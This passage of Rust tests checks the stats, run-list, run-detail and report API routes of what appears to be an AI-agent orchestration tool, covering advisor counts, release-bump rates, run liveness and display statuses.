14056 state.status = RunStatus::Merged;
14057 state.advice = Some(Advice {
14058 records: vec![
14059 AdvisorRecord {
14060 seat: "advisor-1".to_owned(),
14061 agent: "alpha".to_owned(),
14062 proposal: Some(Proposal {
14063 approach: "do it".to_owned(),
14064 key_tradeoff: "speed over memory".to_owned(),
14065 risks: Vec::new(),
14066 touches: Vec::new(),
14067 why_not_naive: "breaks under load".to_owned(),
14068 }),
14069 error: None,
14070 duration_ms: 0,
14071 reflection: Reflection::Strong,
14072 },
14073 AdvisorRecord {
14074 seat: "advisor-2".to_owned(),
14075 agent: "alpha".to_owned(),
14076 proposal: None,
14077 error: Some("timed out".to_owned()),
14078 duration_ms: 0,
14079 reflection: Reflection::Absent,
14080 },
14081 ],
14082 synthesis: Some("blended brief".to_owned()),
14083 });
14084 let dir = f.runs().join(&state.id);
14085 std::fs::create_dir_all(&dir).expect("run dir");
14086 std::fs::write(
14087 dir.join("run.json"),
14088 serde_json::to_string_pretty(&state).expect("serialize run"),
14089 )
14090 .expect("write run.json");
14091
14092 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
14094 let alpha = advisors
14095 .as_array()
14096 .expect("an array")
14097 .iter()
14098 .find(|a| a["agent"] == "alpha")
14099 .expect("alpha row");
14100 assert_eq!(alpha["seated"], 2);
14101 assert_eq!(alpha["proposed"], 1);
14102 assert_eq!(alpha["absent"], 1);
14103 assert_eq!(alpha["strong"], 1);
14104 assert_eq!(alpha["faint"], 0);
14105 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
14106 }
14107
14108 #[tokio::test]
14109 async fn stats_hides_agents_outside_the_roster_unless_all() {
14110 use crate::run::Candidate;
14111 let repo = TempDir::new().expect("repo dir");
14112 std::fs::write(
14113 repo.path().join("magi.toml"),
14114 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
14115 )
14116 .expect("magi.toml");
14117 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
14118 let mut state = RunState::new(
14119 PathBuf::from("/repo/magi"),
14120 "main".to_owned(),
14121 "0123456789abcdef".to_owned(),
14122 "task".to_owned(),
14123 Config::default(),
14124 );
14125 state.id = "20260902-140501-a".to_owned();
14126 state.status = RunStatus::Merged;
14127 for (label, agent) in [('A', "keep"), ('B', "retired")] {
14128 let mut c: Candidate = serde_json::from_value(serde_json::json!({
14129 "index": 0, "label": label.to_string(), "agent": agent,
14130 "branch": "b", "worktree": "/w",
14131 }))
14132 .expect("candidate");
14133 c.label = label;
14134 state.candidates.push(c);
14135 }
14136 let dir = f.runs().join(&state.id);
14137 std::fs::create_dir_all(&dir).expect("run dir");
14138 std::fs::write(
14139 dir.join("run.json"),
14140 serde_json::to_string_pretty(&state).expect("serialize run"),
14141 )
14142 .expect("write run.json");
14143
14144 let agents_of = |v: &serde_json::Value| -> Vec<String> {
14145 v["agents"]
14146 .as_array()
14147 .expect("array")
14148 .iter()
14149 .map(|a| a["agent"].as_str().unwrap().to_owned())
14150 .collect()
14151 };
14152 let hidden = f.get("/api/stats").await.json();
14153 assert_eq!(agents_of(&hidden), ["keep"]);
14154 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
14155 assert_eq!(hidden["totals"]["runs"], 1);
14156
14157 let all = f.get("/api/stats?all=true").await.json();
14158 assert_eq!(agents_of(&all).len(), 2);
14159 assert_eq!(all["retired_hidden"], serde_json::json!([]));
14160 let keep_agent = all["agents"]
14162 .as_array()
14163 .unwrap()
14164 .iter()
14165 .find(|a| a["agent"] == "keep")
14166 .unwrap();
14167 assert_eq!(keep_agent["competitive_entered"], 1);
14168 assert_eq!(keep_agent["competitive_wins"], 0);
14169 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
14170 assert_eq!(keep_agent["solo_entered"], 0);
14171 assert_eq!(keep_agent["solo_adopted"], 0);
14172 assert!(keep_agent["solo_adoption_rate"].is_null());
14173 }
14174
14175 #[tokio::test]
14176 async fn stats_release_bumps_split_clean_from_attention() {
14177 use crate::run::ReleaseBump;
14178
14179 let f = Fixture::start().await;
14180
14181 let mut clean = RunState::new(
14182 PathBuf::from("/repo/magi"),
14183 "main".to_owned(),
14184 "0123456789abcdef".to_owned(),
14185 "task".to_owned(),
14186 Config::default(),
14187 );
14188 clean.id = "20260902-140501-a".to_owned();
14189 clean.status = RunStatus::Merged;
14190 clean.release_bump = Some(ReleaseBump {
14191 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
14192 version: Some("1.0.0".to_owned()),
14193 automerge_enabled: true,
14194 merged_directly: false,
14195 local: false,
14196 release: None,
14197 problem: None,
14198 action_required: None,
14199 });
14200
14201 let mut blocked = RunState::new(
14202 PathBuf::from("/repo/magi"),
14203 "main".to_owned(),
14204 "0123456789abcdef".to_owned(),
14205 "task".to_owned(),
14206 Config::default(),
14207 );
14208 blocked.id = "20260902-140502-b".to_owned();
14209 blocked.status = RunStatus::Merged;
14210 blocked.release_bump = Some(ReleaseBump {
14211 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
14212 version: Some("1.0.1".to_owned()),
14213 automerge_enabled: false,
14214 merged_directly: false,
14215 local: false,
14216 release: None,
14217 problem: Some("checks red".to_owned()),
14218 action_required: Some("look at the PR".to_owned()),
14219 });
14220
14221 for state in [&clean, &blocked] {
14222 let dir = f.runs().join(&state.id);
14223 std::fs::create_dir_all(&dir).expect("run dir");
14224 std::fs::write(
14225 dir.join("run.json"),
14226 serde_json::to_string_pretty(state).expect("serialize run"),
14227 )
14228 .expect("write run.json");
14229 }
14230
14231 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
14232 assert_eq!(bumps["merged"], 2);
14233 assert_eq!(bumps["recorded"], 2);
14234 assert_eq!(bumps["pr_opened"], 2);
14235 assert_eq!(bumps["automerge_enabled"], 1);
14236 assert_eq!(bumps["needs_attention"], 1);
14237 assert_eq!(bumps["clean"], 1);
14238 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
14239 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
14240 }
14241
14242 #[tokio::test]
14243 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
14244 let f = Fixture::start().await;
14245 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
14246
14247 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
14248 assert_eq!(bumps["merged"], 1);
14249 assert_eq!(bumps["recorded"], 0);
14250 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
14253 assert_eq!(bumps["automerge_rate"], Value::Null);
14256 assert_eq!(bumps["attention_rate"], Value::Null);
14257 }
14258
14259 #[tokio::test]
14260 async fn stats_queue_counts_come_from_the_live_queue() {
14261 let f = Fixture::start().await;
14262 let q = f.queue();
14263 let mut queued = Task::new(
14264 "queued task".to_owned(),
14265 "do it".to_owned(),
14266 PathBuf::from("/repo"),
14267 Source::Human,
14268 );
14269 q.put(&mut queued).expect("put queued");
14270 let mut held = Task::new(
14271 "held task".to_owned(),
14272 "do it later".to_owned(),
14273 PathBuf::from("/repo"),
14274 Source::Human,
14275 );
14276 held.hold_machine(Some("out of attempts".to_owned()));
14277 q.put(&mut held).expect("put held");
14278
14279 let queue = f.get("/api/stats").await.json()["queue"].clone();
14280 assert_eq!(queue["queued"], 1);
14281 assert_eq!(queue["held"], 1);
14282 assert_eq!(queue["running"], 0);
14283 assert_eq!(queue["done"], 0);
14284 assert_eq!(queue["failed"], 0);
14285 assert_eq!(queue["blocked"], 0);
14286 }
14287
14288 #[tokio::test]
14289 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
14290 let f = Fixture::start().await;
14291 let stats = f.get("/api/stats").await;
14292 assert_eq!(stats.status, 200);
14293 assert_eq!(stats.json()["totals"]["runs"], 0);
14294 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
14295 assert_eq!(stats.json()["runs_unreadable"], 0);
14296 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
14297 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
14298 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
14299 assert_eq!(stats.json()["repo"], Value::Null);
14300 }
14301
14302 #[tokio::test]
14303 async fn stats_lists_every_repository_with_runs_recorded() {
14304 let f = Fixture::start().await;
14305 write_run_repo(
14306 &f.runs(),
14307 "20260902-140501-a",
14308 RunStatus::Merged,
14309 "/repos/a",
14310 );
14311 write_run_repo(
14312 &f.runs(),
14313 "20260902-140502-b",
14314 RunStatus::Merged,
14315 "/repos/a",
14316 );
14317 write_run_repo(
14318 &f.runs(),
14319 "20260902-140503-c",
14320 RunStatus::Blocked,
14321 "/repos/b",
14322 );
14323
14324 let stats = f.get("/api/stats").await;
14325 assert_eq!(stats.status, 200);
14326 assert_eq!(stats.json()["totals"]["runs"], 3);
14328 assert_eq!(stats.json()["repo"], Value::Null);
14329
14330 let repos = stats.json()["repos"].clone();
14331 let repos = repos.as_array().unwrap();
14332 assert_eq!(repos.len(), 2);
14333 assert_eq!(repos[0]["repo"], "/repos/a");
14335 assert_eq!(repos[0]["name"], "a");
14336 assert_eq!(repos[0]["runs"], 2);
14337 assert_eq!(repos[1]["repo"], "/repos/b");
14338 assert_eq!(repos[1]["runs"], 1);
14339 }
14340
14341 #[tokio::test]
14342 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
14343 let f = Fixture::start().await;
14344 write_run_repo(
14345 &f.runs(),
14346 "20260902-140501-a",
14347 RunStatus::Merged,
14348 "/repos/a",
14349 );
14350 write_run_repo(
14351 &f.runs(),
14352 "20260902-140502-b",
14353 RunStatus::Blocked,
14354 "/repos/b",
14355 );
14356
14357 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
14358 assert_eq!(stats.status, 200);
14359 assert_eq!(stats.json()["totals"]["runs"], 1);
14360 assert_eq!(stats.json()["totals"]["merged"], 1);
14361 assert_eq!(stats.json()["repo"], "/repos/a");
14362 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
14365 assert_eq!(stats.json()["runs_unreadable"], 0);
14368 }
14369
14370 #[tokio::test]
14371 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
14372 let f = Fixture::start().await;
14373 write_run_repo(
14374 &f.runs(),
14375 "20260902-140501-a",
14376 RunStatus::Merged,
14377 "/repos/a",
14378 );
14379 write_run_repo(
14380 &f.runs(),
14381 "20260902-140502-b",
14382 RunStatus::Merged,
14383 "/repos/b",
14384 );
14385
14386 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
14387 let json = f.get(uri).await.json();
14388 let daily = json["daily"].as_array().expect("daily is an array");
14389 assert_eq!(daily.len(), 30);
14390 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
14391 let mut sorted = dates.clone();
14392 sorted.sort();
14393 assert_eq!(dates, sorted);
14394 for d in daily {
14395 assert_eq!(
14396 d["merged"].as_u64().unwrap()
14397 + d["ready"].as_u64().unwrap()
14398 + d["other"].as_u64().unwrap(),
14399 d["runs"].as_u64().unwrap()
14400 );
14401 }
14402 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
14403 }
14404 }
14405
14406 #[tokio::test]
14407 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
14408 let f = Fixture::start().await;
14409 write_run_repo(
14410 &f.runs(),
14411 "20260902-140501-a",
14412 RunStatus::Merged,
14413 "/repos/a",
14414 );
14415
14416 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
14417 assert_eq!(stats.status, 404);
14418 }
14419
14420 #[tokio::test]
14421 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
14422 let f = Fixture::start().await;
14423 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
14424
14425 let summary = f.get("/api/runs").await.json();
14426 let row = &summary[0];
14427 assert_eq!(row["short"], "a1b2");
14428 assert_eq!(row["status"], "ready");
14429 assert_eq!(row["done"], true);
14430 assert_eq!(row["title"], "Add a web UI");
14431 assert_eq!(row["repo_name"], "magi");
14432 assert_eq!(row["judges"], 3);
14433 assert_eq!(row["winner"], Value::Null);
14434 assert_eq!(row["reviews"], 0);
14435
14436 let detail = f.get("/api/runs/a1b2").await;
14439 assert_eq!(detail.status, 200);
14440 assert_eq!(detail.json()["base_branch"], "main");
14441 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
14442 }
14443
14444 #[tokio::test]
14452 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
14453 let f = Fixture::start().await;
14454
14455 let mut none_run = RunState::new(
14456 PathBuf::from("/repo/magi"),
14457 "main".to_owned(),
14458 "0123456789abcdef".to_owned(),
14459 "Add a web UI".to_owned(),
14460 Config::default(),
14461 );
14462 none_run.id = "20260902-140503-none".to_owned();
14463 none_run.status = RunStatus::Ready;
14464 none_run.merge = Some(crate::run::MergeOutcome {
14465 mode: crate::config::MergeMode::None,
14466 ok: true,
14467 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
14468 empty: false,
14469 });
14470 write_state(&f.runs(), &none_run);
14471
14472 let mut pr_run = RunState::new(
14473 PathBuf::from("/repo/magi"),
14474 "main".to_owned(),
14475 "0123456789abcdef".to_owned(),
14476 "Add a web UI".to_owned(),
14477 Config::default(),
14478 );
14479 pr_run.id = "20260902-140504-prcl".to_owned();
14480 pr_run.status = RunStatus::Ready;
14481 pr_run.merge = Some(crate::run::MergeOutcome {
14482 mode: crate::config::MergeMode::Pr,
14483 ok: false,
14484 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
14485 empty: false,
14486 });
14487 write_state(&f.runs(), &pr_run);
14488
14489 let summary = f.get("/api/runs").await.json();
14490 let rows: std::collections::HashMap<&str, &Value> = summary
14491 .as_array()
14492 .expect("an array")
14493 .iter()
14494 .map(|r| (r["id"].as_str().expect("an id"), r))
14495 .collect();
14496 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
14497 assert_eq!(
14498 rows[none_run.id.as_str()]["unmerged_by_design"],
14499 true,
14500 "a mode-none Ready must be flagged in the list"
14501 );
14502 assert_eq!(
14503 rows[pr_run.id.as_str()]["unmerged_by_design"],
14504 false,
14505 "a Ready reached by a closed pull request is a different case"
14506 );
14507
14508 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
14509 assert_eq!(none_detail["status"], "ready");
14510 assert_eq!(none_detail["unmerged_by_design"], true);
14511
14512 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
14513 assert_eq!(pr_detail["unmerged_by_design"], false);
14514 }
14515
14516 #[tokio::test]
14521 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
14522 let f = Fixture::start().await;
14523 let id = "20260902-140502-bbbb";
14527 let mut state = RunState::new(
14528 PathBuf::from("/repo/magi"),
14529 "main".to_owned(),
14530 "0123456789abcdef".to_owned(),
14531 "Add a web UI".to_owned(),
14532 Config::default(),
14533 );
14534 state.id = id.to_owned();
14535 state.status = RunStatus::Judging;
14536 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
14537 let dir = f.runs().join(id);
14538 std::fs::create_dir_all(&dir).expect("run dir");
14539 std::fs::write(
14540 dir.join("run.json"),
14541 serde_json::to_string_pretty(&state).expect("serialize run"),
14542 )
14543 .expect("write run.json");
14544
14545 let cold = f.get(&format!("/api/runs/{id}")).await.json();
14551 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
14552 assert_eq!(cold["live"], "unknown", "{cold}");
14553
14554 write_daemon(f.home.path(), Timestamp::now());
14557 let warm = f.get(&format!("/api/runs/{id}")).await.json();
14558 assert_eq!(warm["live"], "live", "{warm}");
14559 }
14560
14561 #[tokio::test]
14564 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
14565 let f = Fixture::start().await;
14566 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
14567 let mut state = RunState::new(
14568 PathBuf::from("/repo/magi"),
14569 "main".to_owned(),
14570 "0123456789abcdef".to_owned(),
14571 "Add a web UI".to_owned(),
14572 Config::default(),
14573 );
14574 state.id = id.to_owned();
14575 state.origin = origin;
14576 let mut value = serde_json::to_value(&state).expect("serialize run");
14577 if let Some(schema) = schema {
14578 value["schema"] = serde_json::json!(schema);
14579 value.as_object_mut().unwrap().remove("origin");
14580 }
14581 let dir = f.runs().join(id);
14582 std::fs::create_dir_all(&dir).expect("run dir");
14583 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
14584 };
14585 write(
14586 "20260930-092817-ec34",
14587 Some(crate::run::Origin::from_agent_env(
14588 Some(("4a7b".to_owned(), "chat".to_owned())),
14589 None,
14590 )),
14591 None,
14592 );
14593 write("20260930-092817-0ld1", None, Some(12));
14594
14595 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
14596 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
14597 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
14598
14599 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
14600 assert_eq!(
14601 old["origin_label"], "origin unknown (started before origins were recorded)",
14602 "{old}"
14603 );
14604 assert!(old["origin"].is_null(), "{old}");
14605
14606 let list = f.get("/api/runs").await.json();
14607 let labels: Vec<_> = list
14608 .as_array()
14609 .unwrap()
14610 .iter()
14611 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
14612 .collect();
14613 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
14614 }
14615
14616 #[tokio::test]
14623 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
14624 let f = Fixture::start().await;
14625 let id = "20260922-090000-cccc";
14626 let mut state = RunState::new(
14627 PathBuf::from("/repo/magi"),
14628 "main".to_owned(),
14629 "0123456789abcdef".to_owned(),
14630 "Review only".to_owned(),
14631 Config::default(),
14632 );
14633 state.id = id.to_owned();
14634 state.status = RunStatus::Reviewing;
14635 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14636 state.driver_pid = Some(std::process::id());
14642 state.driver_started_at = Some(
14643 crate::proc::process_started_at(std::process::id())
14644 .expect("this test process's own start time must be queryable"),
14645 );
14646 let dir = f.runs().join(id);
14647 std::fs::create_dir_all(&dir).expect("run dir");
14648 std::fs::write(
14649 dir.join("run.json"),
14650 serde_json::to_string_pretty(&state).expect("serialize run"),
14651 )
14652 .expect("write run.json");
14653
14654 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14655 assert_eq!(detail["live"], "live", "{detail}");
14656 }
14657
14658 #[tokio::test]
14664 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
14665 let f = Fixture::start().await;
14666 let id = "20260922-090100-dddd";
14667 let mut state = RunState::new(
14668 PathBuf::from("/repo/magi"),
14669 "main".to_owned(),
14670 "0123456789abcdef".to_owned(),
14671 "Review only".to_owned(),
14672 Config::default(),
14673 );
14674 state.id = id.to_owned();
14675 state.status = RunStatus::Reviewing;
14676 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14677 state.driver_pid = Some(std::process::id());
14682 state.driver_started_at = Some("1".to_owned());
14683 let dir = f.runs().join(id);
14684 std::fs::create_dir_all(&dir).expect("run dir");
14685 std::fs::write(
14686 dir.join("run.json"),
14687 serde_json::to_string_pretty(&state).expect("serialize run"),
14688 )
14689 .expect("write run.json");
14690
14691 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14692 assert_eq!(detail["live"], "dead", "{detail}");
14693 }
14694
14695 #[test]
14699 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
14700 let mk = |id: &str, pid: Option<u32>| {
14701 let mut s = RunState::new(
14702 PathBuf::from("/repo/magi"),
14703 "main".to_owned(),
14704 "0123456789abcdef".to_owned(),
14705 "Add a web UI".to_owned(),
14706 Config::default(),
14707 );
14708 s.id = id.to_owned();
14709 s.driver_pid = pid;
14710 s.driver_started_at = Some("1790000000".to_owned());
14711 s
14712 };
14713 let states = vec![
14714 mk("20260902-140502-aaaa", Some(77)),
14715 mk("20260902-140502-bbbb", Some(77)),
14716 mk("20260902-140502-cccc", Some(77)),
14717 mk("20260902-140502-dddd", None),
14718 ];
14719 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
14720 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
14721 let sup: HashMap<String, String> = [(
14722 "20260902-140502-aaaa".to_owned(),
14723 "20260902-140502-cccc".to_owned(),
14724 )]
14725 .into();
14726
14727 let status_calls = std::cell::Cell::new(0);
14728 let identity_calls = std::cell::Cell::new(0);
14729 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
14730 |_| {
14731 status_calls.set(status_calls.get() + 1);
14732 Some(true)
14733 },
14734 |_| {
14735 identity_calls.set(identity_calls.get() + 1);
14736 Some("1790000000".to_owned())
14737 },
14738 ));
14739 let rows = summarize(
14740 states,
14741 &open,
14742 &claimed,
14743 &sup,
14744 |p| probe.borrow_mut().status(p),
14745 |p| probe.borrow_mut().started_at(p),
14746 );
14747
14748 assert_eq!(status_calls.get(), 1, "one pid, one status query");
14749 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
14750 assert_eq!(rows.len(), 4);
14751 assert!(!rows[0].waiting && rows[1].waiting);
14752 assert_eq!(rows[0].live, crate::run::Liveness::Live);
14753 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
14754 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
14755 assert_eq!(rows[1].superseded_by, None);
14756 }
14757
14758 #[test]
14759 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
14760 let mut state = RunState::new(
14761 PathBuf::from("/repo/magi"),
14762 "main".to_owned(),
14763 "0123456789abcdef".to_owned(),
14764 "Review only".to_owned(),
14765 Config::default(),
14766 );
14767 state.id = "20260922-090200-dead".to_owned();
14768 state.status = RunStatus::Reviewing;
14769 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
14770 .expect("serialize list row");
14771 assert_eq!(row["status"], "reviewing");
14772 assert_eq!(row["display_status"], "stale");
14773 assert_eq!(row["live"], "dead", "{row}");
14774 assert!(!row["done"].as_bool().unwrap());
14775 }
14776
14777 #[test]
14778 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
14779 use crate::run::Liveness::{Dead, Live, Unknown};
14780 let mut state = RunState::new(
14781 PathBuf::from("/repo/magi"),
14782 "main".to_owned(),
14783 "abc".to_owned(),
14784 "Review only".to_owned(),
14785 Config::default(),
14786 );
14787 for (status, parked, node, waiting, live, expected) in [
14788 (
14789 RunStatus::Judging,
14790 true,
14791 "github-text",
14792 false,
14793 Dead,
14794 "parked",
14795 ),
14796 (RunStatus::Judging, false, "park", false, Dead, "stale"),
14797 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
14798 (
14799 RunStatus::Judging,
14800 true,
14801 "github-text",
14802 true,
14803 Dead,
14804 "waiting",
14805 ),
14806 (
14807 RunStatus::Judging,
14808 false,
14809 "github-text",
14810 true,
14811 Dead,
14812 "waiting",
14813 ),
14814 (
14815 RunStatus::Judging,
14816 false,
14817 "github-text",
14818 false,
14819 Dead,
14820 "stale",
14821 ),
14822 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
14823 (RunStatus::Judging, true, "park", false, Live, "judging"),
14824 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
14825 (RunStatus::Merged, true, "park", false, Dead, "merged"),
14826 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
14827 (
14828 RunStatus::Blocked,
14829 true,
14830 "github-text",
14831 true,
14832 Dead,
14833 "waiting",
14834 ),
14835 ] {
14836 state.status = status;
14837 state.parked = parked;
14838 state.events.clear();
14839 state.event(
14840 "park",
14841 "an earlier park does not determine the latest state",
14842 );
14843 state.event(node, "message is not used for classification");
14844 let summary = RunSummary::of(&state, waiting, live);
14845 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
14846 assert_eq!(
14847 summary.display_status, expected,
14848 "{status:?}/{node}/{live:?}"
14849 );
14850 assert_eq!(detail.display_status, summary.display_status);
14851 assert_eq!(detail.waiting, summary.waiting);
14852 }
14853 state.status = RunStatus::Judging;
14854 state.parked = false;
14855 state.events.clear();
14856 assert_eq!(run_display_status(&state, false, Dead), "stale");
14857 }
14858
14859 #[tokio::test]
14860 async fn run_display_status_routes_share_the_open_question_store() {
14861 let f = Fixture::start().await;
14862 let id = "20260922-090200-abcd";
14863 write_run(&f.runs(), id, RunStatus::Judging);
14864 let mut state = read_run(&f.runs(), id).unwrap();
14865 state.parked = true;
14866 state.driver_exited = true;
14867 state.event("github-text", "waiting for the owner");
14868 state.save_under(f.home.path()).unwrap();
14869 let store = f.questions();
14870 let mut q = Question::new(
14871 id.to_owned(),
14872 "github-text".to_owned(),
14873 "owner".to_owned(),
14874 "Approve the text?".to_owned(),
14875 String::new(),
14876 Vec::new(),
14877 );
14878 store.put(&mut q).unwrap();
14879 for expected in ["waiting", "parked"] {
14880 let list = f.get("/api/runs").await.json();
14881 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14882 assert_eq!(list[0]["display_status"], expected);
14883 assert_eq!(detail["display_status"], expected);
14884 assert_eq!(detail["waiting"], list[0]["waiting"]);
14885 q.status = ask::QuestionStatus::Answered;
14886 store.put(&mut q).unwrap();
14887 }
14888 }
14889
14890 #[tokio::test]
14891 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
14892 let f = Fixture::start().await;
14893 let id = "20260922-090200-abcd";
14894 write_run(&f.runs(), id, RunStatus::Judging);
14895 let mut state = read_run(&f.runs(), id).unwrap();
14896 state.parked = true;
14897 state.driver_exited = true;
14898 state.event("park", "stopped at a node boundary");
14899 state.save_under(f.home.path()).unwrap();
14900
14901 for expected in ["parked", "stale"] {
14902 let list = f.get("/api/runs").await.json();
14903 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14904 assert_eq!(list[0]["live"], "dead");
14905 assert_eq!(list[0]["display_status"], expected);
14906 assert_eq!(detail["display_status"], expected);
14907 state.parked = false;
14910 state.save_under(f.home.path()).unwrap();
14911 }
14912 }
14913
14914 #[tokio::test]
14915 async fn the_run_list_is_newest_first_and_honours_a_limit() {
14916 let f = Fixture::start().await;
14917 for id in [
14918 "20260902-140501-aaaa",
14919 "20260902-140502-bbbb",
14920 "20260902-140503-cccc",
14921 ] {
14922 write_run(&f.runs(), id, RunStatus::Merged);
14923 }
14924
14925 let all = f.get("/api/runs").await.json();
14926 let capped = f.get("/api/runs?limit=2").await.json();
14927
14928 assert_eq!(all[0]["id"], "20260902-140503-cccc");
14929 assert_eq!(all.as_array().map(Vec::len), Some(3));
14930 assert_eq!(capped.as_array().map(Vec::len), Some(2));
14931 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
14932 }
14933
14934 #[tokio::test]
14935 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
14936 let f = Fixture::start().await;
14937 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
14938
14939 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
14940
14941 assert_eq!(res.status, 200);
14942 assert!(
14943 res.headers
14944 .contains("content-type: text/plain; charset=utf-8"),
14945 "a browser must render it, not download it: {}",
14946 res.headers
14947 );
14948 assert!(
14952 res.body.contains("20260902-140501-a1b2"),
14953 "the report is about the run that was asked for: {}",
14954 res.body
14955 );
14956 }
14957
14958 #[tokio::test]
14959 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
14960 crate::run::pin_test_home();
14962 let f = Fixture::start().await;
14963 let id = "20260902-140501-a1b2";
14964 write_run(&f.runs(), id, RunStatus::Stalled);
14965 let path = f.runs().join(id).join("run.json");
14968 let mut v: serde_json::Value =
14969 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14970 v["tally"] = serde_json::json!({
14971 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
14972 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
14973 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
14974 "met_quorum": false, "rankings": 1
14975 });
14976 v["reviews"] = serde_json::json!([{
14977 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
14978 "e2e_deferred": true,
14979 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
14980 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
14981 ]}]
14982 }]);
14983 std::fs::write(&path, v.to_string()).unwrap();
14984 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
14985 std::fs::write(
14986 f.runs().join("20260902-140502-dead").join("run.json"),
14987 "{not json",
14988 )
14989 .unwrap();
14990
14991 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
14992
14993 assert_eq!(res.status, 200, "{}", res.body);
14994 assert!(res.headers.contains("content-type: application/json"));
14995 let j = res.json();
14996 assert_eq!(j["schema"], 1);
14997 assert_eq!(j["header"]["id"], id);
14998 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
14999 let kinds: Vec<&str> = j["sections"]
15000 .as_array()
15001 .unwrap()
15002 .iter()
15003 .map(|s| s["kind"].as_str().unwrap())
15004 .collect();
15005 assert_eq!(kinds, ["candidates", "tally", "review"]);
15006 let tally = &j["sections"][1]["tally"];
15007 assert_eq!(
15008 (tally["decided"].clone(), tally["provisional"].clone()),
15009 (false.into(), true.into())
15010 );
15011 let round = &j["sections"][2]["rounds"][0];
15012 assert_eq!(round["e2e"]["state"], "deferred");
15013 assert_eq!(round["findings"][0]["severity"], "major");
15014 assert_eq!(round["findings"][0]["blocking"], true);
15015 assert_eq!(round["findings"][0]["state"], "open");
15016
